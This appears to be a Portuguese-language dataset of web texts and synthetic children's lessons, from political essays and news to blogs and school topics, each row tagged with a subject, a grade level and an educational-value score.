+Foi depois da Primeira Grande Guerra que o movimento socialista internacional repudiou o colonialismo europeu e transformou o “imperialismo” no inimigo número um da esquerda mundial. Assim mesmo, quando os socialistas chegaram pela primeira vez ao poder, na Europa, e foram obrigados a governar economias capitalistas, não conseguiram extrair consequências da sua própria teoria do imperialismo para o plano concreto das políticas públicas. E quando foram chamados a comandar diretamente a política econômica, como no caso de Rudolf Hilferding, entre outros, seguiram o receituário vitoriano clássico, do “sound money and free markets” – até muito depois da Segunda Guerra, quando aderiram, já nos anos 60 e 70, às ideias, propostas e políticas keynesianas. Mas na década de 80, estes mesmos partidos se converteram ao programa ortodoxo da austeridade fiscal e das reformas liberais que levaram à desmontagem parcial do Estado de Bem-estar Social.
+Esse mesmo problema reapareceu de forma mais dramática quando lhes tocou aos socialistas e às forças de esquerda governarem países “periféricos” ou “subdesenvolvidos”. Também nestes casos, os teóricos do imperialismo e da dependência tiveram muita dificuldade para decidir qual seria o modelo de política econômica “ideal” para as condições específicas de um país situado no “andar de baixo” da hierarquia mundial do poder e da riqueza.
+No caso da América Latina, a CEPAL formulou nos anos 50 uma teoria “estruturalista” do comércio internacional e da inflação, e propôs um programa de industrialização por “substituição de importações” que lembrava as teorias e propostas de Friederich List, economista alemão do século XIX, com a diferença de que as ideias cepalinas não tinham nenhum tipo de conotação nacionalista, ou de coloração anti-imperialista. Na prática, entretanto, dentro e fora da América Latina, os governos de esquerda dos países periféricos acabaram, quase invariavelmente, derrubados ou estrangulados financeiramente pelas grandes potências do sistema mundial, sem terem conseguido descobrir o caminho do crescimento e da igualdade, dentro de uma economia capitalista subdesenvolvida, e no contexto de um sistema internacional assimétrico, competitivo e extremamente bélico. Apesar de tudo, essas experiências deixaram um ensinamento fundamental: que os modelos e as políticas econômicas que funcionam em um país do “andar de cima” não funcionam necessariamente em países situados nos escalões inferiores do sistema, e menos ainda, quando estes países do “andar de baixo” tiveram a ousadia de querer mudar sua posição relativa dentro da hierarquia mundial do poder.
+Desta perspectiva, para poder avançar neste debate, é útil distinguir pelo menos quatro tipos ou grupos de países (1), do ponto de vista de sua estratégia de desenvolvimento e de sua posição com relação à potência dominante em cada um dos grandes tabuleiros geopolíticos e econômicos do sistema mundial. No primeiro grupo, encontram-se os países que lideram ou lideraram a expansão do sistema mundial, em distintos níveis e momentos históricos, as chamadas “grandes potências”, do presente e do passado, desde a origem do sistema interestatal capitalista; no segundo grupo, estão o...",original,original,original,original,3,0.6
+"China e Belarus divulgam declaração conjunta para criar parceria estratégica abrangente sob quaisquer condições
+Xi Jinping se reúne com presidente Aliyev do Azerbaijão
+Xi Jinping reúne-se com presidente bielorrusso Lukashenko
+Português>>Tec&Militar
+China: cápsula de retorno de Shenzhou-13 é exibido ao público pela primeira vez (5)
+Fonte: Diário do Povo Online 16.09.2022 10h52
+A cápsula de retorno de Shenzhou-13 foi exibida ao público pela primeira vez no salão do Centro de Ciência de Beijing, na quinta-feira (15). E na exibição podem também ser vistos vários objetos valiosos de naves espaciais, tais como o pára-quedas da cápsula de retorno, os restos do foguete transportador Longa Marcha-3A e entre outros.",original,original,original,original,3,0.6
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+A Cacequiense Maiara Guterres Coelho estará representando Cacequi no concurso de beleza Miss Mundo Rio Grande do Sul 2016.
+O evento que reúne belas jovens de todo estado deve ocorrer no próximo dia 12 de Dezembro na cidade de São Miguel das Missões, o concurso elegerá uma representante para Miss Mundo Brasil.
+Confira abaixo material postado no site do concurso falando sobre a candidata que representa Cacequi.
+E da Terra da Melancia vem a segunda candidata do grupo coordenado por Juliane Souza. O município, com o maior entroncamento ferroviário do Estado, se desenvolveu a partir dos trilhos do trem e sonha em reviver os áureos tempos da ferrovia. No município há muitos adeptos da trova, um estilo característico de canto, com muito ritmo, rima e improviso. A trova é um costume que se perpetua e tem até um festival em sua homenagem. Há pontos pitorescos e de beleza ímpar, como o balneário de São Simão, as Vossorocas e a maior Ponte Férrea da América Latina.
+"" Me chamo Maiara Guterres Coelho e tenho 21 anos, trabalho na empresa Bradesco Seguros em Bento Gonçalves, represento CACEQUI no Miss Mundo Rio Grande do Sul 2016, sou acadêmica de Química no IFF Instituto Federal Farroupilha.
+É com imenso prazer que represento a capital da Melancia que se localiza na região oeste do estado, onde nasci e me criei, uma cidade com pouco mais de 13 mil habitantes, é conhecida por seus frutos, a melancia e seus pontos turísticos, contendo a maior ponte férrea da América Latina, e terra dos trovadores, que eu tive o privilégio de ser soberana em 2012 e representar Cacequi na Expointer mais uma vez, entre outros eventos.
+Fui soberana em 2013 na FECOBAT , Feira industrial Do Comércio da batata doce em SÃO VICENTE DO SUL, muito conhecida na região de Santa Maria. Em 2014 foi a vez de São Pedro do sul no Garota verão, onde tive experiências únicas que irão ser sempre lembradas com muito amor , pois sempre tive esse sonho de infância.
+E neste ano vou para o Miss Mundo Rio Grande do Sul 2016 com o propósito de ""levar minha cidade ao topo"" e mostrar que somos muito mais que um concurso de beleza! A expectativa para o concurso é enorme, sem dúvida será inédito Cacequi no Miss Mundo Rio Grande do Sul , e eu me sinto lisonjeada de poder levar isso aos cacequienses! "" – Comenta Maiara
+"" Ficamos muito felizes em ver o nosso belo grupo de candidatas, de vermos a preparação, as expectativas, os sonhos! A grande final está chegando, e esperamos todas de braços abertos no Tenondé Park Hotel, em São Miguel das Missões do dia 9 a 13 de dezembro! Passei muitos anos da minha vida em Cacequi, onde tenho muitos amigos, parentes e claro, um carinho muito especial, ter Cacequi na disputa me enche de orgulho e desejo a Maiara toda a sorte do mundo e muito sucesso"" – Comenta Luciano Vianna, Diretor do evento.
+O Miss Mundo Rio Grande do Sul está perto de escolher as novas Rainhas do nosso Estado, São Miguel das Missões será a Capital da Beleza Gaúcha!",original,original,original,original,2,0.4
+"Este processo natural está na base das fito-ETAR, uma tecnologia verde constituída por leitos de plantas aquáticas, especialmente desenhados e construídos para tratar águas residuais ou águas poluídas. E é precisamente essa tecnologia que Carlos Gomes e Marisa Almeida vêm desenvolvendo através de diversos projetos (incluindo o INNOVMAR financiado pelo Norte 2020) centrados na exploração e utilização de fito-ETAR para a remoção de poluentes, incluindo os mais recentes como os antibióticos.
+Designados por poluentes emergentes, estes novos poluentes são continuamente descarregados nos sistemas aquáticos, acarretando riscos para a natureza e também para a saúde humana (por exemplo resistência a antibióticos), e exigindo, por isso mesmo, soluções mais eficientes para o tratamento das águas residuais. Através de experiências laboratoriais, os investigadores têm avaliado as taxas de remoção de vários poluentes, de modo a otimizar e potenciar a eficácia das fito-ETAR em domínios como a agropecuária ou a aquacultura
+O estudo dos processos físico-químicos e biológicos, nomeadamente de biorremediação (processos envolvendo microorganismos) e fitorremediação (processos envolvendo plantas), permitiu verificar que as plantas aquáticas têm um papel ativo neste processo, estimulando os microorganismos existentes no solo que envolvem as suas raízes a degradar os diferente poluentes.
+Os resultados obtidos mostram que as fito-ETAR podem ser uma alternativa sustentável para controlar, diminuir ou eliminar a presença de poluentes emergentes dos ecossistemas aquáticos, reduzindo os riscos, nomeadamente os associados à resistência a antibióticos. A possibilidade de reutilização da água tratada é também uma das questões em estudo, relevante para a economia circular.
+Apesar da nacessidade de uma área considerável para a sua implantação, os baixos custos de manutenção e operação tornam esta tecnologia verde bastante atrativa. As fito-ETAR são assim uma solução natural integrada para o tratamento de águas residuais, que através da criação de zonas húmidas, ajuda também a travar a destruição de habitats naturais, contribuindo para a proteção da biodiversidade e regulação hidrológica e climática.",original,original,original,original,4,0.8
+"Enivaldo critica decisão do TJES que suspende lei de desconto em mensalidades escolares – O Contestado
+em Coronavírus, Destaques, Economia, Educação, Espírito Santo, Noroeste Capixaba, Política, Região
+Enivaldo dos Anjos defende que cidadão sabia quanto ele custa para o SUS (Foto: Webales)
+O deputado estadual Enivaldo dos Anjos (PSD) se manifestou contrário e de maneira veemente à decisão assinada pelo desembargador Jorge Henrique Valle dos Santos, do Tribunal de Justiça do Estado (TJES), acatando o pedido feito pelo Sindicato das Empresas Particulares de Ensino do Espírito Santo (Sinepe-ES), suspendendo os efeitos da lei aprovada na Assembleia Legislativa (Ales), obrigando as instituições de ensino a concederam desconto de 30% durante a pandemia da Covid-19.
+De acordo com a cautelar concedida ontem, 7, pelo desembargador, a lei promulgada pela Assembleia no último dia 22 de junho não teria poder de alterar contratos já firmados, o que seria da competência da União. Enivaldo se opôs à medida e levantou problemas maiores envolvendo a relação entre os Poderes.
+“Gostaria de lembrar ao desembargador que estamos em um momento histórico e único e que não é possível que ele não tenha se sensibilizado com essas famílias pobres e tenha deixado mais uma vez o Tribunal de Justiça totalmente fora de sintonia com a população. É esse tipo de comportamento que faz terem, por exemplo, manifestações lá em Brasília contrárias à Justiça e ao STF”, teceu o deputado.
+Enivaldo, que assinou como um dos criadores do projeto, também lembrou da negativa recente dada à Assembleia pela alta cúpula do Tribunal de Justiça para uma audiência entre deputados e desembargadores. Para o parlamentar, a decisão desta terça-feira se une à última e dá um tom de vexame no tratamento dispensado pelo Tribunal ao Legislativo.
+“Não se dá o mínimo interesse de proximidade por parte do Tribunal de Justiça com o Legislativo. Já tivemos o vexame que a Assembleia passou ao presidente do Tribunal negar audiência aos deputados; agora vem o desembargador Jorge e dá um tapa na cara da Casa, suspendendo uma lei aprovada à unanimidade e promulgada pela Assembleia sem ao menos dar direito à manifestação”, desabafou Enivaldo antes de fazer um apelo à procuradoria da Assembleia para que tomasse providências: “Porque entendo que esse ataque, além de ser um desrespeito com milhares de famílias, não deixa de ser um afronta à Assembleia enquanto Poder constituído”.
+Seguindo a fala de Enivaldo, o presidente da Assembleia, deputado Erick Musso (Republicanos), determinou que a Procuradoria da Casa de fato examinasse a peça assinada pelo desembargador e que uma medida fosse tomada a respeito do assunto. “Deputado Enivaldo, quero fazer coro à sua fala dizendo que se a Procuradoria ainda não foi acionada, determino neste momento, enquanto presidente, que ela tenha acesso aos autos e possa fazer a defesa da instituição. Esse trabalho foi feito em coletivo pelos deputados e sociedade civil e precisa ser respeitado”, disse o presidente que se mostrou “muito espantado” com a falta de diálogo apresentada pelo Tribunal ao decidir pela suspensão da Lei.
+A lei dos descontos, aprovada à unanimidade pelo plenário da Assembleia, teve a autoria conjunta do deputado Enivaldo dos Anjos (PSD) e dos deputados Hudson Leal (Republicanos), Capitão Assumção (Patriota), Rafael Favatto (Patriota) e Marcos Masur (PSDB). Com o poder de aplicar descontos de até 30% em mensalidades para estudantes que estiverem sem aulas presenciais durante a pandemia, o PL sofreu alterações desde o início de sua tramitação e recebeu contribuições de diferentes parlamentares, comissões e da membros da sociedade civil. A previsão de alcance da lei é a de que contemple até 200 mil estudantes capixabas. (Weber Andrade com site enivaldodosanjos.com)
+Com apenas 6 leitos ocupados, Hospital Dr. Alceu Melgaço está sob controle
+Francisquense que passou 34 dias internado por causa da Covid-19 tem alta com festa",original,original,original,original,1,0.2
+"Coronavírus: hotel cinco estrelas se transforma em lar provisório gratuito -
+Home › Viagem › Coronavírus: hotel cinco estrelas se transforma em lar provisório gratuito
+Casa Gastronomia Mais ricos Viagem	Posted on 23/04/2020 —by Redação 1749 0
+O Four Seasons, em New York, é um dos muitos hotéis em todo o mundo que se fecharam para o público nas últimas semanas para seguir as regras estabelecidas por governos e especialistas em saúde, mas reabriram como acomodações para profissionais de saúde, pois ficou claro que muitos trabalhadores precisariam de um lar provisório para se isolarem.
+O surto de coronavírus mudou as coisas e, praticamente, todos os aspectos do hotel tiveram que ser modificados, de pessoal a saneamento. Como muitos hotéis e empresas em Nova York e em todo o país, o Four Seasons foi fechado em 20 de março.
+Na semana seguinte, quando o governador Cuomo pediu hotéis para fornecer quartos para o pessoal médico nas linhas de frente do COVID-19, o Four Seasons foi o primeiro da cidade a atender o pedido – eles transformaram o hotel em um andar de dormitório médico, oferecendo quartos gratuitamente aos profissionais de saúde.
+Era uma tarefa enorme criar um espaço seguro e confiável para aqueles que tinham que viajar longas distâncias para o trabalho, ou talvez não quisessem arriscar levar a infecção para casa a membros da família.
+Autorização para a transformação
+Os pedidos de reabertura para o pessoal médico vieram diretamente de Ty Warner, o bilionário Ty Beanie Baby, dono do prédio do Four Seasons, diz Rudy Tauscher, gerente geral do hotel. “Não parecíamos esquerda ou direita, nem nos importávamos com o que outros hotéis em Nova York estavam fazendo”, diz Tauscher. “Pensamos: ‘Vamos tentar isso e ver até onde podemos ir'”.
+A reabertura de um hotel tão grandioso quanto o Four Seasons, no entanto, é uma sinfonia de partes móveis, diz Tauscher. “Felizmente, temos uma equipe muito experiente”, diz ele. “Mas ainda assim, tínhamos acabado de fechar o hotel e tínhamos apenas seis dias para abri-lo”. Os planos do hotel de receber pessoal médico foram anunciados na sexta-feira, 27 de março. O primeiro hóspede fez o check-in em 2 de abril.
+Logística do Four Seasons
+A arquitetura do edifício se presta às circunstâncias, com todas as entradas controladas no lado da 58th Street e todas as saídas no lado da 57th Street. O distanciamento social começa do lado de fora, onde marcadores de rua colocados a distância de um metro e meio gerenciam o fluxo de pessoas para dentro do edifício. Convidados e funcionários passam por um único ponto de entrada onde, um de cada vez, deve passar por uma verificação de temperatura e responder a uma série de perguntas. No caso de alguém não passar no protocolo de triagem, ele é escoltado para uma área designada de “zona vermelha” para inspeção adicional.
+No interior, a sinalização indica “zonas verdes” claras, onde os hóspedes têm acesso, e as marcações do piso delineiam os caminhos para os elevadores, que transportam uma pessoa por vez. No check-in, as chaves do quarto são colocadas em envelopes em ordem alfabética em uma mesa. As refeições em caixas são colocadas em outra mesa para que os hóspedes possam escolher uma a caminho do quarto. A interação com a equipe é mínima e, é claro, socialmente distanciada. Dos 368 quartos das instalações, 225 estão disponíveis no momento, a fim de minimizar a aglomeração.
+Não há serviço de limpeza diário; em vez disso, os quartos são abastecidos com lençóis e toalhas extras. Depois que um hóspede faz check-out, de acordo com Tauscher, o hotel implementa dois ciclos de limpeza sob a orientação da EcoLab, uma empresa de tecnologia e serviços de higiene que o hotel contratou para supervisionar os esforços de saneamento. Primeiro, cada quarto fica vago por 48 horas “para garantir que o vírus caia no chão”. A sala é higienizada e deixada vaga por mais 24 horas antes da limpeza do Four Seasons entrar na sala para realizar a limpeza de rotina.
+Os funcionários do hotel ta...",original,original,original,original,2,0.4
+"Olá, pequenos aventureiros! Já pararam para pensar que as histórias são como portais mágicos? Elas nos levam para lugares incríveis, nos apresentam a personagens superdivertidos e nos ensinam um montão de coisas! E quando essas histórias são brasileiras, ah, a aventura fica ainda mais especial!
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+Hoje, vamos embarcar em uma jornada pelo mundo da literatura brasileira, que é como um grande baú cheio de tesouros. Esses tesouros são os livros, poemas e contos escritos por autores do nosso país. Eles usam as palavras para pintar quadros na nossa imaginação, para nos fazer rir, chorar, pensar e, principalmente, aprender.
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+Imagine, por exemplo, as histórias do Sítio do Picapau Amarelo, escritas por Monteiro Lobato. Quem não se diverte com as travessuras da Narizinho, do Pedrinho, da boneca Emília e do Visconde de Sabugosa? Através dessas aventuras, aprendemos sobre a cultura brasileira, sobre a natureza e sobre a importância da amizade.
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+E que tal os poemas de Vinicius de Moraes? Com suas palavras musicais, ele nos ensina a amar os animais, as cores e as pequenas coisas da vida. Quem nunca ouviu falar de ""O Pato"" ou ""A Casa""? São poemas simples, mas cheios de significado, que nos fazem sorrir e refletir.
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+Outro autor muito legal é Ziraldo, que criou o Menino Maluquinho. Com suas histórias, Ziraldo nos mostra que ser diferente é legal e que podemos aprender com nossos erros. O Menino Maluquinho é um garoto cheio de energia e curiosidade, que vive aventuras incríveis e nos ensina a sermos mais criativos e a nunca desistirmos dos nossos sonhos.
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+A literatura brasileira é como um abraço quentinho que nos conecta com a nossa cultura e com a nossa história. É através das histórias que conhecemos o nosso país, os nossos costumes e os nossos valores. E o mais legal é que a literatura está presente em todos os lugares: nos livros, nas músicas, nos filmes e até nas conversas com os nossos amigos e familiares.
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+Então, que tal começar a sua própria aventura literária? Procure livros de autores brasileiros, peça para seus pais lerem para você, visite a biblioteca da sua escola ou da sua cidade. Descubra a magia das palavras e deixe a sua imaginação voar! Qual livro brasileiro você gostaria de ler hoje? Que personagens você gostaria de conhecer?
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+Lembrem-se, pequenos leitores, que a leitura é uma das maiores aventuras que podemos viver. E a literatura brasileira está de portas abertas para receber vocês de braços abertos!",Português,Literatura brasileira,anos iniciais (1º ao 5º ano),"O trecho apresenta alto valor educacional por introduzir a literatura brasileira de forma lúdica e convidativa para crianças. Ele menciona autores e obras relevantes, conectando-os a valores culturais, amizade e criatividade. A linguagem é acessível e incentivadora, promovendo o hábito da leitura e o contato com a cultura nacional. O texto é adequado para os anos iniciais do ensino fundamental e pode ser adaptado para os anos finais.",5,1.0
+"Olá, pequenos exploradores! Preparados para uma viagem incrível sem sair do lugar? Hoje, vamos desvendar os segredos das paisagens do nosso Brasil, um país gigante e cheio de lugares fascinantes! 
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+Imagine que você está olhando pela janela do seu carro ou ônibus. O que você vê? Prédios altos, casas coloridas, árvores verdinhas, um rio passando? Tudo isso faz parte da paisagem! A paisagem é tudo aquilo que podemos observar ao nosso redor. Mas as paisagens do Brasil são muito diferentes umas das outras. Algumas são mais naturais, com muita natureza preservada, como as florestas e os rios. Outras são mais modificadas pelas pessoas, com cidades cheias de construções e plantações. 
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+Vamos começar nossa aventura pelas florestas! A Amazônia, por exemplo, é a maior floresta tropical do mundo! Lá, encontramos uma grande variedade de plantas e animais, como macacos, araras e até mesmo a preguiça, que adora dormir nas árvores. Já a Mata Atlântica, que fica pertinho do mar, também é rica em natureza, mas infelizmente já foi muito devastada. Precisamos cuidar das nossas florestas, pois elas são muito importantes para a nossa vida! Elas nos dão ar puro, água e muitos outros recursos. 
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+Agora, vamos para o sertão nordestino, um lugar bem diferente das florestas. Lá, o clima é quente e seco, e a paisagem é formada por plantas resistentes à seca, como os cactos. As pessoas que vivem no sertão são muito criativas e aprenderam a conviver com a falta de água. Elas constroem cisternas para armazenar a água da chuva e cultivam plantas que precisam de pouca água. 
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+E que tal conhecer as praias do Brasil? Elas são famosas em todo o mundo! No Rio de Janeiro, por exemplo, temos a praia de Copacabana, com sua areia branquinha e o mar azul. Mas as praias do Brasil são muito diferentes umas das outras. Algumas têm ondas fortes, ótimas para o surf, enquanto outras são mais calmas, ideais para nadar e brincar na água. 
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+As cidades também fazem parte das paisagens brasileiras. Em São Paulo, a maior cidade do Brasil, vemos muitos prédios, carros e pessoas. As cidades são importantes centros de comércio, cultura e educação. Mas é importante que as cidades sejam planejadas de forma sustentável, para que as pessoas possam viver bem e a natureza seja preservada. 
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+E você, qual paisagem do Brasil gostaria de conhecer? Que tal desenhar a sua paisagem favorita? Lembre-se que todas as paisagens são importantes e merecem o nosso respeito e cuidado. Afinal, elas fazem parte da nossa história e da nossa identidade. O que podemos fazer para ajudar a preservar as paisagens do nosso país? Pense nisso e converse com seus amigos e familiares! Até a próxima aventura geográfica!",Geografia,Paisagens brasileiras,anos iniciais (1º ao 5º ano),"O trecho possui alto valor educacional, adequado para o ensino fundamental. Introduz conceitos geográficos de forma clara e envolvente, utilizando linguagem acessível e exemplos relevantes para o contexto brasileiro (florestas, sertão, praias, cidades). Incentiva a reflexão sobre a importância da preservação ambiental e a relação entre paisagem e identidade. A estrutura do texto é organizada, facilitando a compreensão e o aprendizado. Apresenta conceitos importantes relacionados ao currículo escolar.",5,1.0
+"Linux University - Soluções e Treinamentos em TI
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+Faça o Download do Ubuntu 11.10 Oneiric Ocelot Aqui ! Receba novidades:
+O sistema Linux está presente no nosso dia a dia, seja nos servidores ou mesmo nos computadores pessoais. Esta decisão pelo Linux geralmente ocorre por ele ser livre e mais seguro que outros sistemas, ou seja, o sucesso do Linux é resultado de sua estabilidade e confiabilidade.
+Todo este sucesso gerou uma enorme demanda de profissionais qualificados, porém como são poucos profissionais preparados, os salários aumentaram.
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+Você já imaginou como seria tirar a Certificação LPI estudando de casa ?
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+Veja o depoimento do Marcelo Miranda:
+""Caros membros da equipe linuxuniversity, eu venho aqui agradecer e deixar registrado a minha satisfação por ter feito o curso online preparatório para prova LPI 101, após um longo período de estudos com todo esse material de qualidade que recebi de vocês, fui aprovado na prova LPI, graças ao conteudo de vocês hoje eu tenho mais um diferencial profissional, o conteudo do curso foi indispensável para minha aprovação, e além de ter passado na prova, o curso me tornou muito mais conhecedor do linux e consequetemente um profissional mais maduro. Obrigado a todos.""
+Marcelo Miranda - NITEROI / RJ
+Copyright © Linux University - Todos os direitos reservados",original,original,original,original,3,0.6
+"Eu quero muito ler o livro A outra vida, apesar da capa, na minha opinião, não ter nada haver com a sinopse. Beijos
+Realmente, não é muito bonita não hehehe
+Muito curiosa para ler Olho por Olho! Nunca li nenhum livro nesse gênero!
+O dá Emily nem comento, pois sou suspeita para falar dos livros da autora, todos que li dela, gostei! <3
+Tipo Destino também quero ler, pois gostei de Esperando por Você ^^
+Eu Li: Liberta-me - Tahereh Mafi + Promoção!",original,original,original,original,1,0.2
+"No dia 24 de julho de 1908, isto é, há cem anos, nascia Solano Trindade, um poeta de importância fundamental para a literatura afro-brasileira. Solicitamos ( ""Quilombhoje"" quilombhoje@quilombhoje.com.br ) à sua filha, Raquel Trindade, que falasse (ou melhor, escrevesse) um pouco sobre seu pai e ela gentilmente nos brindou com o texto a seguir, que desenha um rosto bem humano de um poeta que precisa ser lido sempre, especialmente pelas novas gerações.
+Creio que é o sonho de toda criança: ter um pai como o meu. Na época em que os pais batiam muito nas crianças, ele era carinhoso e paciente com a gente: eu, Godiva, Liberto e Chiquinho. Em 1945, ele já falava no Direito da Criança, quando essa lei nem sonhava em existir.
+Antes de sair para o trabalho, para vender seus livros e quadros (que trabalho, dirão meus irmãos trabalhadores, ele dizia quando entrava no trem da Leopoldina em Duque de Caxias, no Rio), ele brincava com a gente no quintal.
+Um dia uma vizinha foi fazer queixa de mim, porque eu tinha batido no filho dela. Ela dizia: ― Essa menina precisa de uma surra.
+Meu pai, pra satisfazer a vizinha, disse pra mim: ― Você não quer ser artista? Vamos fazer um teste, eu vou bater com o cinto na parede e você grita como se estivesse apanhando de verdade ―. E assim foi... A vizinha ouviu os gritos de sua casa, e foi encontrar minha mãe Margarida no caminho: ― Dona Margarida, estou morrendo de remorso, fiz queixa da Raquel e seu Francisco deu uma surra nela.
+SOLANO ― Que nada, essa menina é uma artista, eu batia na parede e ela gritava.
+De tarde, a vizinha, ainda com remorso, me trouxe um bolo.
+Meu pai conversava muito comigo, me falava dos problemas raciais, da má divisão de renda do povo brasileiro. Me dizia do respeito que se devia ter com as diferenças, me falava da história da África, como eu devia me orgulhar de ser negra, sem discriminar qualquer outra raça. Enquanto minha mãe (Terapeuta Ocupacional, trabalhou no Museu da Imagem do Inconsciente, com Dra. Nice de Oliveira; era uma exímia costureira, bordadeira) me ensinou a fazer os serviços domésticos, a ser sempre honesta, a me afastar de vícios, como fumar e beber.
+Ela, mesmo presbiteriana como era, me ensinou todas as danças folclóricas, com exceção das danças dos Orixás, que aprendi quando entrei no Candomblé.
+Papai me orientava para as artes, me levando a ateliês de seus amigos, comprando livros, porque sabia que eu gostava de ler.
+Fiz o primário gratuito porque tinha uma senhora, Dona Armanda Álvaro Alberto, que mantinha uma escola para as crianças pobres de Caxias, muito avançada, nos moldes europeus.
+Mas o ginásio, não tinha público, papai pagava com dificuldade, pois ele vivia da arte. Aí eu atrasava o pagamento, passava abaixadinha na secretaria para que o Dr. Ely Combat (diretor do ginásio de Caxias) não me visse, aí ele ia até a sala de aula e falava:
+― Quem não pagou a mensalidade não faz prova...
+Falava com papai, ele dizia: ― Filha, não vou lhe deixar nada material, só o que você estudar, vou pra cidade tentar vender um quadro ou livros, mas você não vai perder a prova.
+Eu tinha uns 9 anos quando ele foi preso político. Policiais truculentos, armados até os dentes, invadiram à noite a nossa casa, ele estava de cueca ""samba-canção"", acalmava a gente, eu e minha irmã chorando, Liberto com sarampo na cama que os policiais reviraram dizendo que tinha armas escondidas. Logo papai, que era pacifista como Gandhi, mamãe ficou brava com os policiais.
+Levaram ele... Mamãe ia de prisão em prisão com a gente, até que descobriu que ele estava preso incomunicável na Rua da Relação (Rio).
+Depois, quando eu estudava o clássico, me levou para a Europa com o elenco do Teatro Popular Brasileiro, ele foi de avião, nós fomos de navio Louis Limiere, e voltamos no Provence.
+Em 1961, convidados pelo escultor Assis, viemos para o Embu.
+E hoje coloco em prática, com filhos e netos, todos os ensinamentos desse grande pai Solano Trindade.
+Raquel Trindade, 26 de junho de 2008",original,original,original,original,4,0.8
+"Olá, pequenos exploradores da história! Já pararam para pensar por que fazemos as coisas que fazemos? Por que comemos certos pratos, dançamos certas músicas e contamos certas histórias? Tudo isso faz parte das nossas tradições culturais! As tradições são como um tesouro que herdamos dos nossos antepassados, dos nossos avós, bisavós e de todas as pessoas que viveram antes de nós. Elas são os costumes, as crenças e os conhecimentos que passam de geração em geração, como uma receita de bolo deliciosa que a vovó ensina para a neta. 
+
+No Brasil, temos uma riqueza enorme de tradições culturais, porque somos um país formado por muitos povos diferentes. Os indígenas, que já viviam aqui antes da chegada dos portugueses, trouxeram seus cantos, danças, artesanatos e sua profunda ligação com a natureza. Os africanos, que vieram para o Brasil, trouxeram sua música vibrante, sua culinária saborosa e suas histórias cheias de sabedoria. Os portugueses, por sua vez, trouxeram sua língua, sua religião e muitas outras influências. E, ao longo do tempo, outros povos, como os italianos, alemães, japoneses e tantos outros, também contribuíram para a nossa cultura, tornando-a ainda mais rica e diversa. 
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+Cada região do Brasil tem suas tradições especiais. No Norte, por exemplo, temos o Festival de Parintins, com a disputa emocionante entre os bois-bumbás Garantido e Caprichoso. No Nordeste, temos o frevo e o maracatu, ritmos contagiantes que nos fazem dançar e celebrar. No Sudeste, temos o carnaval, uma festa grandiosa que enche as ruas de alegria e cor. No Sul, temos as festas gaúchas, com seus churrascos, chimarrão e danças típicas. E no Centro-Oeste, temos a cultura pantaneira, com suas tradições ligadas à natureza e à vida no campo. 
+
+Que tal descobrir quais são as tradições culturais da sua família e da sua comunidade? Pergunte aos seus pais, avós e vizinhos sobre as festas, os pratos, as músicas e as histórias que eles mais gostam. Você pode se surpreender com a quantidade de coisas interessantes que vai aprender! E lembre-se: as tradições culturais são importantes porque nos ajudam a construir a nossa identidade, a nos conectar com o nosso passado e a celebrar a nossa diversidade. Ao conhecermos e valorizarmos as nossas tradições, estamos contribuindo para um futuro mais rico e culturalmente vibrante para todos os brasileiros! E você, qual tradição cultural te encanta mais?",História,Tradições culturais,anos iniciais (1º ao 5º ano),"O trecho possui alto valor educacional para o ensino fundamental. Apresenta uma introdução envolvente sobre tradições culturais, utilizando linguagem acessível e exemplos regionais brasileiros. Aborda a importância das tradições na formação da identidade e valorização da diversidade, incentivando a pesquisa e o diálogo familiar. O texto é claro, consistente e adequado para a faixa etária, promovendo um aprendizado estruturado e significativo.",5,1.0
+"Produtos Automotivos Aquarius da loja Submarino - Encontre Barato
+Página inicial / Automotivo / Aquarius / Submarino Marcas
+Produtos Automotivos Aquarius da loja Submarino",original,original,original,original,1,0.2
+"Sobretudo sobre o salto: 2007-09-30
+Pode ser implicância, falta de um olhar mais apurado ou caretice. Mas é fato que eu de-tes-to bichos em roupas. Não gosto de estampas de peles, não acho bonito jóias com formas de animais e tenho horror a penas. Aí li no outro dia que Galliano soltou a bicharada na passarela da Dior na Semana de Moda de Paris. E hoje me deparo com essa foto de Cate Blanchett com um pretinho ótimo e esses sapatos que Deus me livre! Não bastasse ter achado feio, fiquei duvidando que ela não tenha pisado em algumas penas a cada duas passadas. Na minha cabeça, é tudo que uma roupa/acessório não pode ser: feio e pouco prático.Mas isso sou eu dizendo. Agora entre no comentário aí embaixo e diga você (por favor).
+Beyoncé do pandeiro
+Essa foi inspirada pelo blog de uma amiga. Estava eu vendo as últimas e encontro uma foto de Grazi, toda-toda, num jeans de cintura alta. Ao lado da foto, um comentário que diz exatamente o que eu penso: ""isso só fica bom em mulheres com 1,80m e 40kg"". Aí, navegando na internet, me deparo com uma foto de Beyoncé tentando um look parecido.Acho Beyoncé linda, um mulherão e, exatamente por isso, não pode aparecer de cintura alta em lugar nenhum. Não é possível que ninguém no staff da moça tenha noção de que o 'pandeiro' dela não fica harmônico numa calça do tipo. Tudo bem que ela está longe do padrão esquelético que anda imperando em Los Angeles, mas certamente não é a gorda que ficou parecendo na foto.
+Recente obsessão
+Primeiro foi Sébastien Chabal. De cabelo comprido e uma enorme (e densa) barba negra, o jogador da seleção francesa de rúgbi me chamou logo a atenção. Primitivo, pode ser. Assustador, dirão alguns. Mas bem interessante. Depois foi George Clooney quem apareceu com ar cafajeste, de barba (desta vez, grisalha). Aí, no sábado à noite, adivinha como era o homem mais interessante da pista? Barbudo.Alguém pode argumentar que Los Hermanos lançou essa moda antes. Mas eles não têm a menor cara de quem têm pegada, né? (pronto, falei)P.S.: Chabal em campo é uma coisa impressionante. Não bastasse a brutalidade evidente e natural do rúgbi, aquela cabeça peluda dá medo. Mas ele cruza o campo adversário sem temer ninguém. Aproveita que a França foi para as quartas-de-final da Copa e tenta dar uma conferida na atuação do cara. Eu virei Chabalmaníaca.",original,original,original,original,0,0.0
+"Já parou para pensar como seria o mundo sem os animais e as plantas? Seria bem diferente, não é mesmo? Animais e plantas são seres vivos que compartilham o planeta conosco e são super importantes para a nossa vida e para a vida na Terra. Vamos descobrir um pouco mais sobre eles?
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+Primeiro, vamos falar dos animais. Existem muitos tipos diferentes, desde os bem pequenos, como as formigas, até os grandões, como as baleias. Cada um tem um jeito especial de viver, de se alimentar e de se proteger. Alguns animais, como os cachorros e os gatos, vivem pertinho da gente, nas nossas casas. Outros, como os leões e as girafas, vivem em lugares mais distantes, como as savanas africanas. Mas todos eles, sem exceção, precisam de cuidados e respeito.
